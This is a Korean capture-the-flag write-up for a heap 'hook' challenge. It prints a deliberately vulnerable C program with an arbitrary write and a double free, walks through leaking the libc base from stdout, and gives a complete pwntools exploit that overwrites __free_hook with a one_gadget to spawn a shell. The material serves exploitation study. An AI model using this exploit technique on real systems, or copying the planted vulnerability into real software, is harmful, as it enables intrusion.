🕮 소스 코드
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
⚙️실습 환경
1) libc_base 구하기
printf("stdout: %p\n", stdout);
libc
에 있는 stdout
의 실제 주소를 얻을 수 있다.libc
의 버전을 알면 stdout
의 libc
안에서의 상대적인 위치를 얻을 수 있기에 이를 이용하면 실행할 때 libc
의 시작주소를 구할 수 있다.2) 원하는 주소에 원하는 값을 넣을 수 있다.
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
size
는 유저로 부터 받기에 ptr
에 원하는 값을 넣을 수 있다.*(long *)*ptr
을 해석하는 것이 중요하다. *ptr
값은 사용자가 입력한 값을 가리킨다.(long *)*ptr
은 사용자가 입력한 값을 주소처럼 생각한다는 뜻이다.*(long *)*ptr
은 사용자가 입력한 값이 가리키는 장소의 값을 뜻한다.정리하면 다음과 같다.
사용자가 넣은 값
ptr[0]
이 가리키는 곳에ptr[1]
의 값을 넣는다.
3) system("/bin/sh")
system("/bin/sh");
system("/bin/sh")
을 이용하면, shell을 얻을 수 있다. malloc
과 free
를 호출하고 있으므로 malloc_hook
혹은 free_hook
을 이용하고, 1-2에서 본 취약점을 이용하여 hook
변수의 값을 임의로 바꾼다.
read
함수 이후에는 free
가 나타나기 때문에, free_hook
을 이용하여 문제를 풀 수 있다.
Flow
1. libc
의 주소를 stdout
을 이용하여 구한다.
2. ptr
에 __free_hook
의 주소와 원하는 주소의 흐름을 넣는다.
3. free
가 호출되면서 __free_hook
이 가리키는 주소로 간다.
이때 원하는 주소의 흐름으로 넣을 수 있는 것은 한번에 쉘을 딸 수 있는 one_gadget
을 이용하거나, system("/bin/sh")
를 이용한다.
이때 system
함수 같은 경우, main
에서 호출되었기 때문에, 이 주소를 이용하면 사용할 수 있다 (No PIE 이기에 가능함)
libc
의 주소를 stdout
을 이용하여 구한다.libc
의 경우 libc-2.23.so
이 주어졌기에 이를 이용하여 stdout
의 상대적 거리(offset)를 구한다.readelf
를 이용하여 구하였다. pwntools
의 .symbols['stdout']
을 이용하여도 무관하다. stdout_offset = 0x3c5708
libc
의 주소를 받기 위하여 pwntools
를 이용하였다. p.recvuntil("stdout: ")
stdout_address =int(p.recvline()[:-1],16)
이렇게 된다면 libc
의 시작 주소는 stdout_address - stdout_offset
을 이용하면 구할 수 있다.
__free_hook
과 원하는 실행 주소를 넣는다.__free_hook
의 경우 libc
에 정의 되어 있기 때문에 똑같이 offset을 구하고 실제 주소를 구한다.__free_hook
의 offset을 구하였으니, libc_base
와 함께 실제 주소를 구할 수 있다.gdb-peda
에서 실행 후 print &__free_hook
을 사용하여 주소를, vmmap
을 이용하여 libc
의 시작주소를 구하여 둘을 빼서 offset을 구할 수도 있다. pwntools
역시 가능one_shot
가젯을 넣어본다.one_gadget libc-2.23.so
을 이용하여 가젯을 구한다.read
에 넣을 내용으로 __free_hook
의 주소와 one_shot
의 주소를 넣어준다. 두 주소 모두 8byte 이므로 long과 같은 타입으로 위에서 언급한 주소에 값 넣기가 진행된다. from pwn import *
p = process("./hook")
e = ELF("./hook")
libc = ELF('./libc-2.23.so')
# receive stdout's address
p.recvuntil("stdout: ")
stdout_address =int(p.recvline()[:-1],16)
print("stdout:",hex(stdout_address))
# stdout's offset = 0x3c5708
libc_base = stdout_address - libc.symbols["_IO_2_1_stdout_"]
print("libc_base:",hex(libc_base))
# __free_hook's offset = 0x3c3ef8
free_hook = libc_base + libc.symbols["__free_hook"]
print("__free_hook:",hex(free_hook))
one_shot_offset = [0x45226,0x4527a,0xf03a4,0xf1247]
one_shot = libc_base + one_shot_offset[1]
print("one_shot:",hex(one_shot))
payload = p64(free_hook)
payload += p64(one_shot)
p.recvuntil("Size: ")
p.sendline('1000')
p.recvuntil("Data: ")
p.sendline(payload)
p.interactive()
실행 결과
system("/bin/sh")
을 이용하는 방법에 대하여서도 생각하여 해보길 추천함